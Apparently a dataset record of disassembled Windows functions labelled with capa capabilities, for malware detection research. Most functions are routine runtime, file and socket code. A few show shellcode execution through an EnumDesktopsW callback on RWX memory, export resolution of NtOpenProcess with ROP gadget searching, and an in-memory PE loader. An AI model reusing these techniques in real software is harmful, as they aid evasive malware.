joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000b890]
mov dword [rax], 1
mov rax, qword [0x14000b8a0]
mov dword [rax], 1
mov rax, qword [0x14000b8b0]
mov dword [rax], 1
mov rax, qword [0x14000b880]
mov dword [rax], 1
mov rax, qword [0x14000b740]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001b60
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140008c90
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140008c90
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140002792
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140010188]
test eax, eax
je 0x14000282a
lea rax, [0x140010160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140010190]
mov qword [rbp - 8], rax
jmp 0x14000280e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002802
cmp qword [rbp - 0x10], 0
je 0x140002802
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400027c8
lea rax, [0x140010160]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000282b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002930
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002958
mov eax, 0
jmp 0x1400029a6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002981
mov eax, 0
jmp 0x1400029a6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400029a1
mov eax, 0
jmp 0x1400029a6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400029ac
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002a2a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002a21
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002a21
mov rax, qword [rbp - 8]
jmp 0x140002a3f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400029f4
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140008f80
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push r12
sub rsp, 0x20
call fcn.1400018c7
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x1000
mov edx, 1
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
movzx eax, byte [0x1400100a0]
mov byte [r12], al
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, r12
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsW]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.success
call fcn.140008f30
xor eax, eax
add rsp, 0x20
pop r12
ret
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp - 8], rax
mov rcx, qword [0x140005120]
call fcn.1400013c0
mov rsi, rax
mov rcx, qword [0x140005120]
lea r8, [0x1400033d6]
mov rdx, rax
call fcn.1400012c0
lea rcx, str.Successfully_found_OpenProcess_at_address:_0x_p_n
mov rdx, rax
call fcn.140001150
mov rcx, qword [0x140005120]
call fcn.140001440
mov rcx, qword [0x140005120]
lea r8, str.NtOpenProcess
mov rdx, rax
call fcn.1400012c0
lea rcx, str.Successfully_found_NtOpenProcess_at_address:_0x_p_n
mov rdx, rax
call fcn.140001150
mov word [rbp - 0xa], 0xe0ff
mov word [rbp - 0xc], 0xc358
mov rcx, qword [0x140005128]
mov qword [rsp + 0x20], 0x100000
lea rdx, [rbp - 0xa]
mov r8d, 2
mov r9, rsi
call fcn.140001270
mov rdi, rax
mov qword [rbp - 0x18], rax
mov rcx, qword [0x140005128]
mov qword [rsp + 0x20], 0x100000
lea rdx, [rbp - 0xc]
mov r8d, 2
mov r9, rsi
call fcn.140001270
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14000113a
test rdi, rdi
je 0x14000113a
lea rcx, str.Found_gadget__pop_rax__ret__at:__p_n
mov rdx, rax
call fcn.140001150
lea rcx, str.Found_gadget__jmp_rax__at:__p_n
mov rdx, rdi
call fcn.140001150
mov rax, qword [rbp - 0x20]
push rax
mov rax, qword [rbp - 0x18]
push rax
movabs rax, 0xdeadbeef
push rax
ret
lea rcx, str.Failed_to_find_gadgets
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1400012c0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
movzx eax, word [rdx]
cmp eax, 0x5a4d
jne 0x140001391
movsxd rax, dword [rdx + 0x3c]
cmp dword [rdx + rax], 0x4550
jne 0x140001391
mov r9d, dword [rdx + rax + 0x88]
cmp dword [rdx + r9 + 0x18], 0
je 0x140001391
mov r10d, dword [rdx + r9 + 0x1c]
mov r11d, dword [rdx + r9 + 0x20]
add r11, rdx
add r10, rdx
mov r15d, dword [rdx + r9 + 0x24]
add r15, rdx
xor r14d, r14d
xor r12d, r12d
nop
mov eax, dword [r11 + r12*4]
add rax, rdx
movzx ecx, word [r15 + r12*2]
mov r13d, dword [r10 + rcx*4]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r8
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
cld
xor rax, rax
xor rcx, rcx
mov al, byte [rsi]
mov bl, byte [rdi]
cmp al, bl
jne 0x14000136f
test al, al
je 0x140001376
inc rsi
inc rdi
jmp 0x14000135b
mov byte [rsp + 0x27], 0
jmp 0x14000137b
mov byte [rsp + 0x27], 1
cmp byte [rsp + 0x27], 0
jne 0x1400013b4
inc r12
mov eax, dword [rdx + r9 + 0x18]
cmp r12, rax
jb 0x140001330
jmp 0x140001394
xor r14d, r14d
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001520
mov rax, r14
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add rdx, r13
mov r14, rdx
jmp 0x140001394
Function at 0x140079890
Capabilities:
Parse pe header

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
movzx r9d, word [rdx]
movsxd rax, dword [rdx + 0x3c]
xor r10d, r10d
test rax, rax
setne r10b
xor r11d, r11d
cmp r9d, 0x5a4d
lea r9d, [r10 + r10*4 + 1]
cmovne r9d, r11d
cmp r9b, 6
jne 0x140079959
cmp eax, 0x40
jb 0x140079a23
cmp rax, r8
ja 0x140079a39
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x14007992f
mov r9b, 5
cmp r10d, 0x10b
jne 0x140079959
mov r9b, 2
cmp dword [rdx + rax], 0x4550
jne 0x140079959
lea rsi, [rdx + rax]
movzx r10d, word [rsi + 4]
mov r9b, 3
cmp r10d, 0x14c
jne 0x140079959
mov r9b, 4
test byte [rsi + 0x16], 2
je 0x140079959
mov r9d, 0xf8
xor edi, edi
jmp 0x140079982
mov r9b, 2
cmp dword [rdx + rax], 0x4550
jne 0x140079959
lea rsi, [rdx + rax]
movzx r10d, word [rsi + 4]
mov r9b, 3
cmp r10d, 0x8664
jne 0x140079959
mov r9b, 4
test byte [rsi + 0x16], 2
jne 0x140079977
mov byte [rcx], r9b
mov qword [rcx + 0x18], 2
mov rax, rcx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r9d, 0x108
mov edi, 1
add r9, rax
cmp r9, r8
ja 0x140079a50
mov r11, r8
sub r11, r9
movzx r14d, word [rdx + rax + 6]
lea r10, [r14*8]
lea r10, [r10 + r10*4]
mov rbx, r11
sub rbx, r10
jb 0x140079a67
add rax, 0xffffffffffffffc0
lea r11, [rdx + 0x40]
mov r15, rdx
shr r15, 8
add r9, rdx
add r10, r9
mov r12, r14
shr r12, 8
mov byte [rcx], dl
mov dword [rcx + 1], r15d
mov r13, r15
shr r13, 0x30
mov byte [rcx + 7], r13b
shr r15, 0x20
mov word [rcx + 5], r15w
mov qword [rcx + 8], r11
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdi
mov qword [rcx + 0x20], rsi
mov qword [rcx + 0x28], r9
mov byte [rcx + 0x30], r14b
mov dword [rcx + 0x31], r12d
mov byte [rcx + 0x37], 0
mov word [rcx + 0x35], 0
mov qword [rcx + 0x38], r10
mov qword [rcx + 0x40], rbx
mov qword [rcx + 0x48], rdx
mov qword [rcx + 0x50], r8
jmp 0x140079964
lea r8, [0x140103210]
mov ecx, 0x40
mov rdx, rax
call fcn.1400fd540
ud2
lea r9, [0x140103210]
mov rcx, rax
mov rdx, r8
mov r8, r9
call fcn.1400fd4c0
ud2
lea rax, str.libsmemexec_srcpeparserpe.rs
mov rcx, r9
mov rdx, r8
mov r8, rax
call fcn.1400fd440
ud2
lea r8, str.libsmemexec_srcpeparser_section.rs
mov rcx, r10
mov rdx, r11
call fcn.1400fd440
ud2

Function at 0x140084a10
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov rax, qword [rcx]
nop word [rax + rax]
mov rdx, rax
xor rdx, 3
lock cmpxchg qword [rcx], rdx
jne 0x140084a20
test al, 1
je 0x140084a3f
test al, 2
jne 0x140084a59
xor rax, 3
add rsp, 0x28
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140104b40]
mov edx, 0x23
call fcn.1400fd010
ud2
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140104b00]
mov edx, 0x25
call fcn.1400fd010
ud2
Function at 0x1400865a0
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x28
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x1400865b8
add rcx, 0x18
add rsp, 0x28
jmp 0x1400a73c0
lea rcx, [0x140104fe3]
lea r8, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.39.2_srciopoll_evented.rs
mov edx, 0x2b
call fcn.1400fd010
ud2
jmp 0x1400b2470
sub rsp, 0x38
movzx eax, dl
mov dword [rsp + 0x34], eax
mov rcx, qword [rcx]
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x34]
mov edx, 6
mov r8d, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400b24a8
xor eax, eax
add rsp, 0x38
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
add rsp, 0x38
ret

Function at 0x1400a10f0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov qword [rbp + 0x20], rcx
mov rax, qword [rcx]
nop
mov rdx, rax
xor rdx, 3
lock cmpxchg qword [rcx], rdx
jne 0x1400a1110
test al, 1
je 0x1400a11a1
test al, 2
jne 0x1400a11bb
xor rax, 3
mov qword [rbp], rax
mov rcx, rbp
lea rdx, [rbp + 0x20]
call fcn.14009e9c0
test rax, rax
je 0x1400a116a
mov qword [rbp + 0x10], rax
mov rcx, rax
mov qword [rbp + 0x18], rdx
call qword [rdx]
mov rax, qword [rbp + 0x18]
mov rdx, qword [rax + 8]
test rdx, rdx
mov rcx, qword [rbp + 0x10]
je 0x1400a116a
mov r8, qword [rax + 0x10]
call fcn.140078bc0
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 8], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
shr rax, 6
cmp rax, qword [rbp + 8]
jb 0x1400a11d5
jne 0x1400a1197
mov rcx, qword [rbp + 0x20]
call fcn.1400a09b0
nop
add rsp, 0xb0
pop rbp
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140104b40]
mov edx, 0x23
call fcn.1400fd010
ud2
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140104b00]
mov edx, 0x25
call fcn.1400fd010
ud2
mov qword [rbp - 8], rax
lea rax, [rbp - 8]
mov qword [rbp - 0x28], rax
lea rax, [fcn.1400e3c80]
mov qword [rbp - 0x20], rax
lea rcx, [rbp + 8]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rax
lea rax, str.current:___sub:_XK
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 2
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x28]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 2
lea rdx, [0x140104b88]
lea rcx, [rbp - 0x58]
call fcn.1400fcf70
ud2
Function at 0x1400a1270
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov qword [rbp + 0x20], rcx
mov rax, qword [rcx]
nop
mov rdx, rax
xor rdx, 3
lock cmpxchg qword [rcx], rdx
jne 0x1400a1290
test al, 1
je 0x1400a1321
test al, 2
jne 0x1400a133b
xor rax, 3
mov qword [rbp], rax
mov rcx, rbp
lea rdx, [rbp + 0x20]
call fcn.14009eb00
test rax, rax
je 0x1400a12ea
mov qword [rbp + 0x10], rax
mov rcx, rax
mov qword [rbp + 0x18], rdx
call qword [rdx]
mov rax, qword [rbp + 0x18]
mov rdx, qword [rax + 8]
test rdx, rdx
mov rcx, qword [rbp + 0x10]
je 0x1400a12ea
mov r8, qword [rax + 0x10]
call fcn.140078bc0
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 8], 1
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
shr rax, 6
cmp rax, qword [rbp + 8]
jb 0x1400a1355
jne 0x1400a1317
mov rcx, qword [rbp + 0x20]
call fcn.1400a0aa0
nop
add rsp, 0xb0
pop rbp
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140104b40]
mov edx, 0x23
call fcn.1400fd010
ud2
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140104b00]
mov edx, 0x25
call fcn.1400fd010
ud2
mov qword [rbp - 8], rax
lea rax, [rbp - 8]
mov qword [rbp - 0x28], rax
lea rax, [fcn.1400e3c80]
mov qword [rbp - 0x20], rax
lea rcx, [rbp + 8]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rax
lea rax, str.current:___sub:_XK
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 2
mov qword [rbp - 0x38], 0
lea rax, [rbp - 0x28]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 2
lea rdx, [0x140104b88]
lea rcx, [rbp - 0x58]
call fcn.1400fcf70
ud2

Function at 0x1400aa840
Capabilities:
Set socket configuration

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
mov edi, r8d
mov rsi, rcx
cmp word [rdx], 0
mov eax, 2
mov ebx, 0x17
cmove ebx, eax
mov rax, qword [0x14014fbc8]
cmp rax, 3
jne 0x1400aa8fd
mov ecx, ebx
mov edx, edi
xor r8d, r8d
call qword [sym.imp.ws2_32.dll_socket]
cmp rax, 0xffffffffffffffff
je 0x1400aa8d0
mov rdi, rax
mov dword [rbp - 8], 1
lea r8, [rbp - 8]
mov rcx, rax
mov edx, 0x8004667e
call qword [sym.imp.ws2_32.dll_ioctlsocket]
test eax, eax
je 0x1400aa8e8
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
mov rax, qword [rbp - 0x10]
jmp 0x1400aa8dd
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x1400aa8ee
mov qword [rsi + 8], rdi
xor eax, eax
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov byte [rbp - 1], 1
lea rax, [rbp - 1]
mov qword [rbp - 0x18], rax
lea rax, [0x140108648]
mov qword [rsp + 0x20], rax
lea rcx, [0x14014fbc8]
lea r9, fcn.1400011d0
lea r8, [rbp - 0x18]
xor edx, edx
call fcn.1400fc290
jmp 0x1400aa87d
Function at 0x1400aabb0
Capabilities:
Connect socket

Disassembly:
push rbp
push rsi
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
cmp word [rdx], 0
je 0x1400aabe9
movups xmm0, xmmword [rdx + 4]
movzx eax, word [rdx + 0x1c]
rol ax, 8
mov r8d, dword [rdx + 0x18]
add rdx, 0x14
mov esi, 0x1c
mov r9w, 0x17
jmp 0x1400aac02
movzx eax, word [rdx + 6]
rol ax, 8
add rdx, 2
mov esi, 0x10
mov r9w, 2
xorps xmm0, xmm0
mov edx, dword [rdx]
mov word [rbp - 0x28], r9w
mov word [rbp - 0x26], ax
mov dword [rbp - 0x24], edx
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], r8d
call fcn.14007ef60
lea rdx, [rbp - 0x28]
mov rcx, rax
mov r8d, esi
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1400aac36
xor eax, eax
jmp 0x1400aac5d
call sub.kernel32.dll_GetLastError
mov rcx, rax
shl rcx, 0x20
or rcx, 2
mov qword [rbp - 8], rcx
mov ecx, eax
call fcn.1400ca740
xor ecx, ecx
cmp al, 0xd
mov rax, qword [rbp - 8]
cmove rax, rcx
add rsp, 0x58
pop rsi
pop rbp
ret

Function at 0x1400b00d0
Capabilities:
Delete file

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1400cadf0
mov rax, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
test rax, rax
je 0x1400b0185
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x20]
mov r8b, 1
call fcn.1400cf600
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
test rdi, rdi
je 0x1400b0185
mov rcx, rdi
call qword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
je 0x1400b0159
test rsi, rsi
je 0x1400b0155
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.140078bc0
xor esi, esi
jmp 0x1400b0185
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test rsi, rsi
je 0x1400b0182
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.140078bc0
mov rsi, rbx
mov rax, rsi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret

Function at 0x1400b2470
Capabilities:
Set socket configuration

Disassembly:
sub rsp, 0x28
cmp qword [rcx + 0x18], 0xffffffffffffffff
je 0x1400865b8
add rcx, 0x18
add rsp, 0x28
jmp 0x1400a73c0
lea rcx, [0x140104fe3]
lea r8, str.C:Userslucak.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.39.2_srciopoll_evented.rs
mov edx, 0x2b
call fcn.1400fd010
ud2
jmp 0x1400b2470
sub rsp, 0x38
movzx eax, dl
mov dword [rsp + 0x34], eax
mov rcx, qword [rcx]
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x34]
mov edx, 6
mov r8d, 1
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400b24a8
xor eax, eax
add rsp, 0x38
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
add rsp, 0x38
ret
Function at 0x1400b24c0
Capabilities:
Send data
Send data on socket

Disassembly:
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
cmp r9, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, r9
mov rcx, qword [rdx]
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400b24fa
cdqe
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400b2511
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x1400b2520
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
mov rcx, qword [rdx]
mov rcx, qword [rcx]
cmp r9, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, r9
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_recv]
cmp eax, 0xffffffff
je 0x1400b2557
cdqe
jmp 0x1400b2566
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x274a
jne 0x1400b256e
xor eax, eax
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400b257f
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x1400b2590
Capabilities:
Send data
Send data on socket

Disassembly:
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
mov rcx, qword [rdx]
cmp r9, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, r9
mov rcx, qword [rcx]
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400b25cd
cdqe
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400b25e4
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret
Function at 0x1400b2b80
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1098
call fcn.1400e6de0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1000], xmm6
mov qword [rbp + 0xff8], 0xfffffffffffffffe
mov qword [rbp + 0xfd8], rdx
mov r14, rcx
lea rsi, [rbp - 0x50]
mov r8d, 0x1000
mov rcx, rsi
xor edx, edx
call fcn.1400f7790
mov dword [rbp + 0xfe8], 0
xorps xmm6, xmm6
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
lea r15, [rbp + 0xfe8]
mov qword [rbp + 0xfc8], r15
lea r12, [0x1400bfb00]
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0xfb0]
mov rcx, r14
mov rdx, rsi
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_ReadFileEx]
test eax, eax
je 0x1400b2d6e
mov r13, qword [sym.imp.kernel32.dll_SleepEx]
lea rsi, [rbp + 0xfb0]
mov rdi, qword [sym.imp.kernel32.dll_WriteFileEx]
mov qword [rbp + 0xfe0], r14
mov ecx, 0xffffffff
mov edx, 1
call r13
cmp dword [rbp + 0xfe8], 0
je 0x1400b2c47
cmp dword [rbp + 0xfec], 0
jne 0x1400b2d83
mov ebx, dword [rbp + 0xff0]
test rbx, rbx
je 0x1400b2d83
cmp ebx, 0x1000
ja 0x1400b2dc7
xor r14d, r14d
nop dword [rax + rax]
cmp r14, rbx
ja 0x1400b2db3
lea rdx, [r14 + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, ebx
sub r8d, r14d
mov dword [rbp + 0xfe8], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r15
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp + 0xfd8]
mov r9, rsi
call rdi
test eax, eax
je 0x1400b2d76
nop word cs:[rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call r13
cmp dword [rbp + 0xfe8], 0
je 0x1400b2cf0
cmp dword [rbp + 0xfec], 0
jne 0x1400b2d7c
mov eax, dword [rbp + 0xff0]
add r14, rax
cmp r14, rbx
jne 0x1400b2c90
mov dword [rbp + 0xfe8], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], r15
mov qword [rsp + 0x20], r12
mov r14, qword [rbp + 0xfe0]
mov rcx, r14
lea rdx, [rbp - 0x50]
mov r8d, 0x1000
mov r9, rsi
call qword [sym.imp.kernel32.dll_ReadFileEx]
test eax, eax
jne 0x1400b2c47
call qword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1400b2d83
call qword [sym.imp.kernel32.dll_GetLastError]
mov r14, qword [rbp + 0xfe0]
mov rsi, qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, r14
call rsi
mov rcx, qword [rbp + 0xfd8]
call rsi
movaps xmm6, xmmword [rbp + 0x1000]
add rsp, 0x1098
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x14010a0c8]
mov rcx, r14
mov rdx, rbx
call fcn.1400fd540
jmp 0x1400b2dda
mov ecx, ebx
lea r8, [0x14010a0c8]
mov edx, 0x1000
call fcn.1400fd4c0
ud2